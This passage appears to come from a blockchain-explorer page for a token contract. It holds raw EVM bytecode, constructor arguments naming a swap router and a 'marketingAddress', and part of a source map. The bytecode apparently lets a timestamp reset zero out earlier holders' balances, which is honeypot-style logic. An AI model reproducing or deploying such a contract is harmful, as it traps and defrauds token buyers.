9190612331565b61142491906123a2565b90506114ad565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002050505b5b80826114ba91906123d3565b9150505b6114c9838383611783565b505050565b600081111561177e5760006114e23061080c565b90506000600267ffffffffffffffff81111561150157611500612407565b5b60405190808252806020026020018201604052801561152f5781602001602082028036833780820191505090505b509050308160008151811061154757611546612436565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115ec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611610919061247a565b8160018151811061162457611623612436565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016116c09594939291906125a0565b600060405180830381600087803b1580156116da57600080fd5b505af11580156116ee573d6000803e3d6000fd5b505050507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16476040516117369061262b565b60006040518083038185875af1925050503d8060008114611773576040519150601f19603f3d011682016040523d82523d6000602084013e611778565b606091505b50505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e9906121ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611861576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118589061227f565b60405180910390fd5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156118e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118de90612311565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461197a9190611e93565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119de9190611c36565b60405180910390a350505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611a26578082015181840152602081019050611a0b565b60008484015250505050565b6000601f19601f8301169050919050565b6000611a4e826119ec565b611a5881856119f7565b9350611a68818560208601611a08565b611a7181611a32565b840191505092915050565b60006020820190508181036000830152611a968184611a43565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611ace82611aa3565b9050919050565b611ade81611ac3565b8114611ae957600080fd5b50565b600081359050611afb81611ad5565b92915050565b6000819050919050565b611b1481611b01565b8114611b1f57600080fd5b50565b600081359050611b3181611b0b565b92915050565b60008060408385031215611b4e57611b4d611a9e565b5b6000611b5c85828601611aec565b9250506020611b6d85828601611b22565b9150509250929050565b60008115159050919050565b611b8c81611b77565b82525050565b6000602082019050611ba76000830184611b83565b92915050565b6000819050919050565b6000611bd2611bcd611bc884611aa3565b611bad565b611aa3565b9050919050565b6000611be482611bb7565b9050919050565b6000611bf682611bd9565b9050919050565b611c0681611beb565b82525050565b6000602082019050611c216000830184611bfd565b92915050565b611c3081611b01565b82525050565b6000602082019050611c4b6000830184611c27565b92915050565b600080600060608486031215611c6a57611c69611a9e565b5b6000611c7886828701611aec565b9350506020611c8986828701611aec565b9250506040611c9a86828701611b22565b9150509250925092565b600060ff82169050919050565b611cba81611ca4565b82525050565b6000602082019050611cd56000830184611cb1565b92915050565b611ce481611ac3565b82525050565b6000602082019050611cff6000830184611cdb565b92915050565b600060208284031215611d1b57611d1a611a9e565b5b6000611d2984828501611aec565b91505092915050565b60008060408385031215611d4957611d48611a9e565b5b6000611d5785828601611aec565b9250506020611d6885828601611aec565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611db957607f821691505b602082108103611dcc57611dcb611d72565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611e2e6028836119f7565b9150611e3982611dd2565b604082019050919050565b60006020820190508181036000830152611e5d81611e21565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611e9e82611b01565b9150611ea983611b01565b9250828201905080821115611ec157611ec0611e64565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611efd6020836119f7565b9150611f0882611ec7565b602082019050919050565b60006020820190508181036000830152611f2c81611ef0565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611f8f6025836119f7565b9150611f9a82611f33565b604082019050919050565b60006020820190508181036000830152611fbe81611f82565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006120216026836119f7565b915061202c82611fc5565b604082019050919050565b6000602082019050818103600083015261205081612014565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006120b36024836119f7565b91506120be82612057565b604082019050919050565b600060208201905081810360008301526120e2816120a6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006121456022836119f7565b9150612150826120e9565b604082019050919050565b6000602082019050818103600083015261217481612138565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006121d76025836119f7565b91506121e28261217b565b604082019050919050565b60006020820190508181036000830152612206816121ca565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006122696023836119f7565b91506122748261220d565b604082019050919050565b600060208201905081810360008301526122988161225c565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006122fb6026836119f7565b91506123068261229f565b604082019050919050565b6000602082019050818103600083015261232a816122ee565b9050919050565b600061233c82611b01565b915061234783611b01565b925082820261235581611b01565b9150828204841483151761236c5761236b611e64565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006123ad82611b01565b91506123b883611b01565b9250826123c8576123c7612373565b5b828204905092915050565b60006123de82611b01565b91506123e983611b01565b925082820390508181111561240157612400611e64565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061247481611ad5565b92915050565b6000602082840312156124905761248f611a9e565b5b600061249e84828501612465565b91505092915050565b6000819050919050565b60006124cc6124c76124c2846124a7565b611bad565b611b01565b9050919050565b6124dc816124b1565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61251781611ac3565b82525050565b6000612529838361250e565b60208301905092915050565b6000602082019050919050565b600061254d826124e2565b61255781856124ed565b9350612562836124fe565b8060005b8381101561259357815161257a888261251d565b975061258583612535565b925050600181019050612566565b5085935050505092915050565b600060a0820190506125b56000830188611c27565b6125c260208301876124d3565b81810360408301526125d48186612542565b90506125e36060830185611cdb565b6125f06080830184611c27565b9695505050505050565b600081905092915050565b50565b60006126156000836125fa565b915061262082612605565b600082019050919050565b600061263682612608565b915081905091905056fea26469706673582212207231f2fa623405ca0f14e8227366b779c5549deec2a0ccaffc91797567e03e9464736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000415d4f23ca0535697dddc40c6c420f822a8131c3
Deployed Bytecode
0x60806040526004361061012e5760003560e01c806370a08231116100ab578063a457c2d71161006f578063a457c2d7146103d2578063a5ece9411461040f578063a9059cbb1461043a578063c7b122b114610477578063dd62ed3e146104b4578063f2fde38b146104f157610135565b806370a082311461031e578063715018a61461035b5780638a8c523c146103725780638da5cb5b1461037c57806395d89b41146103a757610135565b8063313ce567116100f2578063313ce5671461023557806339509351146102605780634513de531461029d57806349bd5a5e146102c85780636ddd1713146102f357610135565b806306fdde031461013a578063095ea7b3146101655780631694505e146101a257806318160ddd146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f61051a565b60405161015c9190611a7c565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611b37565b6105ac565b6040516101999190611b92565b60405180910390f35b3480156101ae57600080fd5b506101b76105ca565b6040516101c49190611c0c565b60405180910390f35b3480156101d957600080fd5b506101e26105ee565b6040516101ef9190611c36565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a9190611c51565b6105f8565b60405161022c9190611b92565b60405180910390f35b34801561024157600080fd5b5061024a610718565b6040516102579190611cc0565b60405180910390f35b34801561026c57600080fd5b5061028760048036038101906102829190611b37565b610721565b6040516102949190611b92565b60405180910390f35b3480156102a957600080fd5b506102b26107cd565b6040516102bf9190611c36565b60405180910390f35b3480156102d457600080fd5b506102dd6107d3565b6040516102ea9190611cea565b60405180910390f35b3480156102ff57600080fd5b506103086107f9565b6040516103159190611b92565b60405180910390f35b34801561032a57600080fd5b5061034560048036038101906103409190611d05565b61080c565b6040516103529190611c36565b60405180910390f35b34801561036757600080fd5b50610370610953565b005b61037a610aab565b005b34801561038857600080fd5b50610391610ab4565b60405161039e9190611cea565b60405180910390f35b3480156103b357600080fd5b506103bc610ade565b6040516103c99190611a7c565b60405180910390f35b3480156103de57600080fd5b506103f960048036038101906103f49190611b37565b610b70565b6040516104069190611b92565b60405180910390f35b34801561041b57600080fd5b50610424610c5b565b6040516104319190611cea565b60405180910390f35b34801561044657600080fd5b50610461600480360381019061045c9190611b37565b610c7f565b60405161046e9190611b92565b60405180910390f35b34801561048357600080fd5b5061049e60048036038101906104999190611d05565b610c9d565b6040516104ab9190611b92565b60405180910390f35b3480156104c057600080fd5b506104db60048036038101906104d69190611d32565b610cbd565b6040516104e89190611c36565b60405180910390f35b3480156104fd57600080fd5b5061051860048036038101906105139190611d05565b610d44565b005b60606003805461052990611da1565b80601f016020809104026020016040519081016040528092919081815260200182805461055590611da1565b80156105a25780601f10610577576101008083540402835291602001916105a2565b820191906000526020600020905b81548152906001019060200180831161058557829003601f168201915b5050505050905090565b60006105c06105b9610f0a565b8484610f12565b6001905092915050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b60006106058484846110db565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610650610f0a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461070c57828110156106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90611e44565b60405180910390fd5b61070b85610703610f0a565b858403610f12565b5b60019150509392505050565b60006009905090565b60006107c361072e610f0a565b84846001600061073c610f0a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107be9190611e93565b610f12565b6001905092915050565b60085481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660159054906101000a900460ff1681565b6000600854600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541080156108a85750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156108fe5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561090c576000905061094e565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b61095b610f0a565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e190611f13565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b42600881905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610aed90611da1565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1990611da1565b8015610b665780601f10610b3b57610100808354040283529160200191610b66565b820191906000526020600020905b815481529060010190602001808311610b4957829003601f168201915b5050505050905090565b60008060016000610b7f610f0a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3390611fa5565b60405180910390fd5b610c50610c47610f0a565b85858403610f12565b600191505092915050565b7f000000000000000000000000415d4f23ca0535697dddc40c6c420f822a8131c381565b6000610c93610c8c610f0a565b84846110db565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d4c610f0a565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ddb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd290611f13565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4190612037565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f78906120c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ff0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe79061215b565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ce9190611c36565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361114a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611141906121ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b09061227f565b60405180910390fd5b806111c38461080c565b1015611204576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fb90612311565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156112a85750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114be576000600660159054906101000a900460ff1680156112d85750600660149054906101000a900460ff16155b1561131f576001600660146101000a81548160ff0219169083151502179055506113038484836114ce565b6000600660146101000a81548160ff0219169083151502179055505b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113ba5742600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114ae565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561142b576064818361141a9190612331565b61142491906123a2565b90506114ad565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002050505b5b80826114ba91906123d3565b9150505b6114c9838383611783565b505050565b600081111561177e5760006114e23061080c565b90506000600267ffffffffffffffff81111561150157611500612407565b5b60405190808252806020026020018201604052801561152f5781602001602082028036833780820191505090505b509050308160008151811061154757611546612436565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115ec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611610919061247a565b8160018151811061162457611623612436565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016116c09594939291906125a0565b600060405180830381600087803b1580156116da57600080fd5b505af11580156116ee573d6000803e3d6000fd5b505050507f000000000000000000000000415d4f23ca0535697dddc40c6c420f822a8131c373ffffffffffffffffffffffffffffffffffffffff16476040516117369061262b565b60006040518083038185875af1925050503d8060008114611773576040519150601f19603f3d011682016040523d82523d6000602084013e611778565b606091505b50505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e9906121ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611861576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118589061227f565b60405180910390fd5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156118e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118de90612311565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461197a9190611e93565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119de9190611c36565b60405180910390a350505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611a26578082015181840152602081019050611a0b565b60008484015250505050565b6000601f19601f8301169050919050565b6000611a4e826119ec565b611a5881856119f7565b9350611a68818560208601611a08565b611a7181611a32565b840191505092915050565b60006020820190508181036000830152611a968184611a43565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611ace82611aa3565b9050919050565b611ade81611ac3565b8114611ae957600080fd5b50565b600081359050611afb81611ad5565b92915050565b6000819050919050565b611b1481611b01565b8114611b1f57600080fd5b50565b600081359050611b3181611b0b565b92915050565b60008060408385031215611b4e57611b4d611a9e565b5b6000611b5c85828601611aec565b9250506020611b6d85828601611b22565b9150509250929050565b60008115159050919050565b611b8c81611b77565b82525050565b6000602082019050611ba76000830184611b83565b92915050565b6000819050919050565b6000611bd2611bcd611bc884611aa3565b611bad565b611aa3565b9050919050565b6000611be482611bb7565b9050919050565b6000611bf682611bd9565b9050919050565b611c0681611beb565b82525050565b6000602082019050611c216000830184611bfd565b92915050565b611c3081611b01565b82525050565b6000602082019050611c4b6000830184611c27565b92915050565b600080600060608486031215611c6a57611c69611a9e565b5b6000611c7886828701611aec565b9350506020611c8986828701611aec565b9250506040611c9a86828701611b22565b9150509250925092565b600060ff82169050919050565b611cba81611ca4565b82525050565b6000602082019050611cd56000830184611cb1565b92915050565b611ce481611ac3565b82525050565b6000602082019050611cff6000830184611cdb565b92915050565b600060208284031215611d1b57611d1a611a9e565b5b6000611d2984828501611aec565b91505092915050565b60008060408385031215611d4957611d48611a9e565b5b6000611d5785828601611aec565b9250506020611d6885828601611aec565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611db957607f821691505b602082108103611dcc57611dcb611d72565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611e2e6028836119f7565b9150611e3982611dd2565b604082019050919050565b60006020820190508181036000830152611e5d81611e21565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611e9e82611b01565b9150611ea983611b01565b9250828201905080821115611ec157611ec0611e64565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611efd6020836119f7565b9150611f0882611ec7565b602082019050919050565b60006020820190508181036000830152611f2c81611ef0565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611f8f6025836119f7565b9150611f9a82611f33565b604082019050919050565b60006020820190508181036000830152611fbe81611f82565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006120216026836119f7565b915061202c82611fc5565b604082019050919050565b6000602082019050818103600083015261205081612014565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006120b36024836119f7565b91506120be82612057565b604082019050919050565b600060208201905081810360008301526120e2816120a6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006121456022836119f7565b9150612150826120e9565b604082019050919050565b6000602082019050818103600083015261217481612138565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006121d76025836119f7565b91506121e28261217b565b604082019050919050565b60006020820190508181036000830152612206816121ca565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006122696023836119f7565b91506122748261220d565b604082019050919050565b600060208201905081810360008301526122988161225c565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006122fb6026836119f7565b91506123068261229f565b604082019050919050565b6000602082019050818103600083015261232a816122ee565b9050919050565b600061233c82611b01565b915061234783611b01565b925082820261235581611b01565b9150828204841483151761236c5761236b611e64565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006123ad82611b01565b91506123b883611b01565b9250826123c8576123c7612373565b5b828204905092915050565b60006123de82611b01565b91506123e983611b01565b925082820390508181111561240157612400611e64565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061247481611ad5565b92915050565b6000602082840312156124905761248f611a9e565b5b600061249e84828501612465565b91505092915050565b6000819050919050565b60006124cc6124c76124c2846124a7565b611bad565b611b01565b9050919050565b6124dc816124b1565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61251781611ac3565b82525050565b6000612529838361250e565b60208301905092915050565b6000602082019050919050565b600061254d826124e2565b61255781856124ed565b9350612562836124fe565b8060005b8381101561259357815161257a888261251d565b975061258583612535565b925050600181019050612566565b5085935050505092915050565b600060a0820190506125b56000830188611c27565b6125c260208301876124d3565b81810360408301526125d48186612542565b90506125e36060830185611cdb565b6125f06080830184611c27565b9695505050505050565b600081905092915050565b50565b60006126156000836125fa565b915061262082612605565b600082019050919050565b600061263682612608565b915081905091905056fea26469706673582212207231f2fa623405ca0f14e8227366b779c5549deec2a0ccaffc91797567e03e9464736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000415d4f23ca0535697dddc40c6c420f822a8131c3
-----Decoded View---------------
Arg [0] : router_ (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : marketingAddress_ (address): 0x415D4f23CA0535697Dddc40C6c420f822A8131C3
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 000000000000000000000000415d4f23ca0535697dddc40c6c420f822a8131c3
Deployed Bytecode Sourcemap
10291:3110:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4734:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5796:210;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10334:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5062:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6014:620;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4954:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6642:297;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10581:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10381:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10498:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11437:243;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9847:148;;;;;;;;;;;;;:::i;:::-;;13302:96;;;:::i;:::-;;9633:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4842:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6947:482;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10418:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5363:216;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10681:47;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5587:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10003:281;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4734:100;4788:13;4821:5;4814:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4734:100;:::o;5796:210::-;5915:4;5937:39;5946:12;:10;:12::i;:::-;5960:7;5969:6;5937:8;:39::i;:::-;5994:4;5987:11;;5796:210;;;;:::o;10334:40::-;;;:::o;5062:108::-;5123:7;5150:12;;5143:19;;5062:108;:::o;6014:620::-;6154:4;6171:36;6181:6;6189:9;6200:6;6171:9;:36::i;:::-;6220:24;6247:11;:19;6259:6;6247:19;;;;;;;;;;;;;;;:33;6267:12;:10;:12::i;:::-;6247:33;;;;;;;;;;;;;;;;6220:60;;6314:17;6294:16;:37;6291:314;;6395